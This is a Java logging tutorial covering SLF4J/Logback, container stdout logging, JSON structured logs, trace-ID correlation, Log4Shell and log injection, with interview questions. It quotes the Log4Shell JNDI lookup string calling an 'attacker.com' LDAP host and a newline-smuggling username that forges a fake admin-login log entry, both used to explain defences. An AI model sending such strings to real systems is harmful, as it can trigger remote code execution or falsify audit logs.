Logging Frameworks

SLF4J and Logback in practice, why stdout beats files in a container, correlating logs across microservices with trace IDs, the Log4Shell lesson, and log injection โ€” the vulnerability specific to logging itself

← Back to Index

Why Logging Matters โ€” and What Changes Without It

An application with no logging fails silently. When order-service starts returning 500s at 3 AM, the only evidence of what actually happened is whatever the JVM's default stack trace prints to a console nobody is watching. Good logging turns "the app is broken, we don't know why" into "the payment gateway returned a timeout for order #4471, here's the exact request that triggered it."

// BEFORE โ€” no structured logging, a stack trace and nothing else
Exception in thread "main" java.lang.NullPointerException
    at com.shop.order.OrderService.processOrder(OrderService.java:42)
// Which order? Which customer? Was this the 1st failure today or the 500th?
// Unanswerable after the fact.

// AFTER โ€” a structured, leveled log line with context
{"timestamp":"2026-07-10T03:14:02Z","level":"ERROR",
 "logger":"com.shop.order.OrderService","traceId":"9f8b3c2a1e",
 "orderId":"4471","customerId":"8821",
 "message":"Payment gateway timed out after 3 retries"}
// Queryable, correlatable across services, and it tells you exactly
// what to look at next.

The Java Logging Landscape โ€” APIs vs Implementations

This is the single most confusing thing about Java logging for anyone new to it: the interface you code against and the library that actually writes the log line are almost always two different dependencies.

// Logging APIs (facades) โ€” what your code calls
SLF4J           // the standard facade โ€” code against this, not an implementation directly
JUL API         // java.util.logging โ€” built into the JDK, rarely chosen for new code

// Logging implementations โ€” what actually writes the log line
Logback         // SLF4J's native implementation โ€” the default in Spring Boot
Log4j 2         // powerful, async-first via the LMAX Disruptor

// The pattern almost every project should follow:
// code against the SLF4J API, let Logback (or Log4j 2) do the actual writing
CombinationRecommendation
SLF4J + LogbackDefault choice โ€” this is what spring-boot-starter-logging ships
SLF4J + Log4j 2When you specifically need Log4j 2's async performance under very high throughput
java.util.loggingOnly for a dependency-free library that can't impose a logging choice on its consumers

SLF4J with Logback

Maven Dependencies

<!-- Spring Boot: included automatically via spring-boot-starter -->
<dependency>
    <groupId>org.slf4j</groupId>
    <artifactId>slf4j-api</artifactId>
</dependency>
<dependency>
    <groupId>ch.qos.logback</groupId>
    <artifactId>logback-classic</artifactId>
</dependency>

Basic Usage

import org.slf4j.Logger;
import org.slf4j.LoggerFactory;

public class CustomerService {

    private static final Logger log = LoggerFactory.getLogger(CustomerService.class);

    public Customer findCustomer(Long id) {
        log.debug("Finding customer with id: {}", id);

        Customer customer = customerRepository.findById(id).orElse(null);
        if (customer == null) {
            log.warn("Customer not found with id: {}", id);
            return null;
        }

        log.info("Found customer: {}", customer.getId());
        return customer;
    }
}

Logback Configuration (logback.xml)

<configuration>
    <appender name="CONSOLE" class="ch.qos.logback.core.ConsoleAppender">
        <encoder>
            <pattern>%d{yyyy-MM-dd HH:mm:ss.SSS} [%thread] %-5level %logger{36} - %msg%n</pattern>
        </encoder>
    </appender>

    <logger name="com.shop" level="DEBUG"/>
    <logger name="org.springframework" level="WARN"/>
    <logger name="org.hibernate" level="WARN"/>

    <root level="INFO">
        <appender-ref ref="CONSOLE"/>
    </root>
</configuration>

Spring Boot Configuration

# application.properties
logging.level.root=INFO
logging.level.com.shop=DEBUG
logging.level.org.hibernate.SQL=DEBUG
logging.pattern.console=%d{yyyy-MM-dd HH:mm:ss} - %msg%n

Log Levels

LevelWhen to useExample
TRACEVery fine-grained debugging, method entry/exitEntering processOrder()
DEBUGDevelopment-time detail, disabled in production by defaultProcessing order with 5 items
INFOSignificant business events, normal operationOrder #4471 completed successfully
WARNRecoverable problems worth noticingRetry attempt 2 of 3 for payment gateway
ERRORNeeds attention; the operation failedFailed to process payment for order #4471
public class OrderService {
    private static final Logger log = LoggerFactory.getLogger(OrderService.class);

    public Order processOrder(Order order) {
        log.debug("Processing order {} with {} items", order.getId(), order.getItems().size());
        try {
            validateOrder(order);
            if (order.getTotal().compareTo(BigDecimal.valueOf(10000)) > 0) {
                log.warn("Large order {} requires manual review", order.getId());
            }
            completeOrder(order);
            log.info("Order {} completed, total: {}", order.getId(), order.getTotal());
        } catch (PaymentException e) {
            log.error("Payment failed for order {}: {}", order.getId(), e.getMessage(), e);
            throw e;
        }
        return order;
    }
}

Where Should Logs Actually Go? Files vs stdout

A RollingFileAppender writing to logs/application.log made sense when an application ran on a fixed VM you could SSH into. It's the wrong default for a containerized service.

In a container, write to stdout โ€” let the platform collect it

A container's filesystem is ephemeral โ€” when order-service's pod is rescheduled or restarted, anything written to a local log file is gone with it. The cloud-native pattern (one of the original Twelve-Factor App principles, still the default assumption in Kubernetes) is: the application writes logs as an unbuffered stream to stdout, and a separate agent running on the node (Fluent Bit, Vector, the CloudWatch/Loki agent) collects, ships, and retains them centrally. Rolling policies, retention, and compression become the log collector's job, not application code's.

# logback.xml โ€” container-appropriate: console only, no file appender at all
<configuration>
    <appender name="CONSOLE" class="ch.qos.logback.core.ConsoleAppender">
        <encoder class="net.logstash.logback.encoder.LogstashEncoder"/>
    </appender>
    <root level="INFO">
        <appender-ref ref="CONSOLE"/>
    </root>
</configuration>

A RollingFileAppender is still the right choice for a traditional on-prem deployment on a long-lived VM with no external log collector โ€” the point is to make the decision deliberately based on where the service actually runs, not by copying whichever config sample you found first.

Structured Logging (JSON) โ€” the Default, Not an Add-On

A plain-text log line is optimized for a human reading it live in a terminal. The moment logs are collected centrally across dozens of service instances, plain text becomes something you grep and hope โ€” structured JSON becomes something you query precisely by field.

<!-- pom.xml -->
<dependency>
    <groupId>net.logstash.logback</groupId>
    <artifactId>logstash-logback-encoder</artifactId>
    <version>7.4</version>
</dependency>
<!-- logback.xml -->
<appender name="CONSOLE" class="ch.qos.logback.core.ConsoleAppender">
    <encoder class="net.logstash.logback.encoder.LogstashEncoder"/>
</appender>
// Output โ€” one JSON object per line, every field independently queryable
{
  "@timestamp": "2026-07-10T03:14:02.123Z",
  "level": "ERROR",
  "logger_name": "com.shop.order.OrderService",
  "message": "Payment failed for order 4471",
  "orderId": "4471",
  "customerId": "8821"
}
// "show me every ERROR for customerId 8821 in the last hour" is now
// a precise query, not a hope that the right string appears in a grep

MDC and Correlating Logs Across Microservices

MDC (Mapped Diagnostic Context) attaches contextual key-value pairs to every log line written on the current thread โ€” the classic use is a request ID, so every log line from a single request can be filtered together.

import org.slf4j.MDC;

@Override
public void doFilter(ServletRequest request, ServletResponse response,
                     FilterChain chain) throws IOException, ServletException {
    try {
        MDC.put("requestId", UUID.randomUUID().toString());
        chain.doFilter(request, response);
    } finally {
        MDC.clear();   // always clear โ€” MDC is thread-local and threads are pooled and reused
    }
}
A request ID stops at the network boundary โ€” a trace ID doesn't

A hand-rolled requestId is generated fresh in each service โ€” when order-service calls payment-service over HTTP, the two have no shared identifier unless you manually thread it through every outgoing header. This is exactly the problem distributed tracing (OpenTelemetry, and Spring Boot's Micrometer Tracing integration) solves: a single trace ID is generated once at the edge and automatically propagated through every downstream HTTP call, message, and log line across every service in the request's path โ€” turning "logs from three separate services I have to correlate by timestamp and guesswork" into "every log line for this one request, across the whole system, by one ID."

<!-- Spring Boot 3.x โ€” Micrometer Tracing auto-populates MDC with
     traceId/spanId on every log line, propagated automatically across
     RestTemplate/WebClient calls to other services -->
<dependency>
    <groupId>io.micrometer</groupId>
    <artifactId>micrometer-tracing-bridge-otel</artifactId>
</dependency>
// logback.xml โ€” include the trace/span IDs Micrometer Tracing injects into MDC
<pattern>%d{HH:mm:ss} [%X{traceId}/%X{spanId}] %-5level %logger{36} - %msg%n</pattern>

Log4j 2 โ€” and the Log4Shell Lesson Every Java Developer Should Know

Log4j 2 is a capable, high-performance implementation with genuinely async logging via the LMAX Disruptor. It is also the subject of one of the most severe vulnerabilities in the history of the Java ecosystem, and understanding why it happened changes how you should think about logging dependencies generally.

<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.24.0</version>  <!-- always the latest patch โ€” see the box below -->
</dependency>
Log4Shell (CVE-2021-44228) โ€” what actually happened, in one sentence

Log4j 2's message formatter supported a lookup substitution syntax like ${jndi:ldap://attacker.com/payload} directly inside the string being logged โ€” and versions before 2.15 would evaluate that lookup, including performing a live JNDI/LDAP network call and loading whatever class the response pointed to, achieving remote code execution. Any application that logged unsanitized user input โ€” a User-Agent header, a search query, a username at login โ€” and used a vulnerable Log4j 2 version could be fully compromised by a single crafted string. The fix in 2.17.0 disabled message lookups and JNDI resolution by default entirely.

The durable lesson isn't "avoid Log4j 2" โ€” it's patched and safe today. It's that a logging library sits directly in the path of untrusted input on every request, making it one of the highest-value targets in your entire dependency tree. Pin logging dependencies to patched versions with the same discipline covered for GitHub Actions in CI/CD, and run dependency scanning (OWASP Dependency-Check, also covered there) specifically because a transitive Log4j 2 dependency three layers deep is exactly how most organizations were exposed in December 2021 without directly declaring it themselves.

Log4j 2 async configuration

<Configuration status="WARN">
    <Appenders>
        <Console name="Console" target="SYSTEM_OUT">
            <PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n"/>
        </Console>
    </Appenders>
    <Loggers>
        <AsyncLogger name="com.shop" level="debug"/>
        <Root level="info">
            <AppenderRef ref="Console"/>
        </Root>
    </Loggers>
</Configuration>

Lombok @Slf4j

import lombok.extern.slf4j.Slf4j;

@Slf4j
public class CustomerService {
    // Lombok generates: private static final Logger log = LoggerFactory.getLogger(CustomerService.class);

    public Customer findCustomer(Long id) {
        log.info("Finding customer: {}", id);
        // ...
    }
}

Parameterized Logging and Exception Logging

// BAD โ€” string concatenation always builds the message, even when DEBUG is disabled
log.debug("Processing customer: " + customer.getName());

// GOOD โ€” parameterized, the message is only built if the level is enabled
log.debug("Processing customer: {}", customer.getName());

// For genuinely expensive-to-build arguments, guard explicitly
if (log.isDebugEnabled()) {
    log.debug("Order details: {}", order.toDetailedString());
}
// BAD โ€” loses the stack trace entirely
log.error("Error: " + e.getMessage());

// GOOD โ€” context plus the full stack trace as the last argument
log.error("Failed to process order {}", orderId, e);

Security Considerations

Never log sensitive data
  • Passwords and raw credentials
  • Full credit card numbers
  • API keys, tokens, session identifiers
// BAD
log.info("Customer login: {} with password: {}", email, password);

// GOOD โ€” mask or omit entirely
log.info("Customer login attempt: {}", email);
log.debug("Payment processed for card ending in: {}", maskCardNumber(cardNumber));

Log injection โ€” the vulnerability specific to logging itself

Beyond what you deliberately choose to log, unsanitized user input written into a log line can forge fake entries. If a customer's display name contains a newline followed by text crafted to look like a legitimate log line, a naive log viewer (or a human scanning raw text) can be tricked into reading a fabricated entry as if the application produced it.

// A customer sets their name to:
// "Karlete\n2026-07-10 03:15:00 INFO  AuthService - Admin login successful"

log.info("Order placed by {}", customerName);
// Plain-text output now contains a second, fabricated "log line" that
// never actually happened โ€” indistinguishable from a real one to anyone
// scanning the raw file.
Structured logging (Section 5) closes this gap by construction

With a JSON encoder, user-supplied content is placed inside a properly escaped JSON string value โ€” a newline becomes the two characters \n inside that field, not an actual line break in the output stream. This is one more concrete reason structured logging is the right default rather than a nice-to-have: it isn't just easier to query, it removes an entire class of log-forging attack that plain text is inherently vulnerable to.

Best Practices and Common Pitfalls

โœ… Do

  • Code against the SLF4J API, not a specific implementation directly
  • Default to structured JSON logging โ€” treat plain text as the exception, not the norm
  • Log to stdout in containers and let the platform's log collector handle rotation and retention
  • Propagate a trace ID across every service call so logs can be correlated across a distributed request
  • Keep logging dependencies patched aggressively โ€” Log4Shell was exploited primarily through transitive dependencies nobody was tracking directly
  • Use parameterized logging ({} placeholders) so arguments are only evaluated when the level is actually enabled

โŒ Don't

  • Don't log passwords, tokens, or full card numbers โ€” mask or omit them entirely
  • Don't write user-supplied strings directly into plain-text log lines without structured encoding โ€” it's forgeable via log injection
  • Don't rely on a RollingFileAppender as the default for a service running in an ephemeral container โ€” the file disappears when the pod does
  • Don't use string concatenation in a log call โ€” it builds the message even when that level is disabled
  • Don't assume "we're not affected" about a logging CVE without checking transitive dependencies โ€” Log4Shell reached most of its victims through libraries three layers removed from the application's own pom.xml

Interview Questions

๐ŸŽ“ Junior level

Q: What's the difference between SLF4J and Logback?
SLF4J is a facade โ€” an API your code calls (Logger, LoggerFactory) without depending on any specific logging engine. Logback is one concrete implementation of that facade โ€” the library that actually formats and writes the log line. Code against SLF4J so the underlying implementation can be swapped without touching application code.

Q: Why is log.debug("Processing: {}", value) preferred over string concatenation?
With a {} placeholder, the arguments are only formatted into the final string if that log level is actually enabled. String concatenation ("Processing: " + value) builds the full string unconditionally on every call, even when DEBUG logging is disabled and the result will be thrown away immediately.

Q: Why shouldn't you log a customer's password, even at DEBUG level?
Log files are frequently retained for weeks, shipped to third-party log aggregation platforms, and accessible to a wider set of people (support engineers, on-call responders) than the production database itself. A password written to a log line persists in plain text across all of those systems indefinitely, regardless of what log level was used.

๐Ÿ”ฅ Senior level

Q: Explain the actual mechanism behind Log4Shell (CVE-2021-44228) โ€” not just "it was a JNDI vulnerability," but why logging specifically was the vector.
Log4j 2's message layout engine supported an embedded lookup syntax, ${...}, intended for legitimate uses like substituting system properties into a log pattern. Crucially, this substitution was evaluated on the content being logged, not just on the static pattern configuration โ€” so if an application logged a string containing ${jndi:ldap://attacker.com/a}, Log4j would actually perform that JNDI lookup, connect to the attacker's LDAP server, and load and execute the class it returned. The vector was any application that logged attacker-influenced input verbatim โ€” HTTP headers, usernames, search terms โ€” which describes an enormous fraction of production Java applications, since logging request metadata is completely ordinary practice. The fix disabled JNDI lookups and message lookups by default; the broader lesson is that a logging library uniquely sits in the direct path of untrusted input on nearly every request, which makes it a disproportionately high-value target relative to how little scrutiny it typically receives compared to, say, the web framework itself.

Q: Your team hand-rolls a requestId via MDC for correlating logs. What breaks in a microservices architecture, and how does distributed tracing actually solve it?
A manually generated requestId lives only within the thread of the service that created it โ€” the moment order-service calls payment-service over HTTP, that ID has no mechanism to cross the network boundary unless every single outgoing call is manually modified to forward it as a header, and every receiving service is manually modified to read that header back into its own MDC. This is brittle and easy to miss on any new integration point. Distributed tracing solves this structurally: a trace ID is generated once at the system's edge, and the tracing library (OpenTelemetry, via Micrometer Tracing in Spring Boot) instruments the HTTP client and server layers directly, so propagation across service boundaries happens automatically for every call using that instrumented client โ€” not as something each developer has to remember to wire up per integration. The practical result is that "find every log line across every service involved in this one customer's failed checkout" becomes a single trace ID lookup instead of correlating timestamps across three separate log streams by hand.

Q: A service logs raw user-supplied text to a plain-text file. Explain the log injection risk concretely, and why switching to JSON output isn't just a formatting preference.
If user-controlled input can contain a newline character, and that input is written directly into a plain-text log line, an attacker can craft input that, once logged, visually produces what looks like an entirely separate, fabricated log entry โ€” for example, one that appears to show a successful admin login that never occurred. Anyone scanning the raw log file, or any downstream tool that naively parses log lines by splitting on newlines, has no way to distinguish the forged entry from a genuine one; the attacker is effectively writing directly into your audit trail. Structured JSON output prevents this by construction rather than by convention: a JSON encoder escapes a newline inside a string value as the two characters \n, which stays inside that field's value and never breaks into a new top-level JSON object. The fix isn't "remember to sanitize newlines everywhere user input is logged" โ€” it's using an output format where the structural boundary between log entries can't be forged by field content in the first place.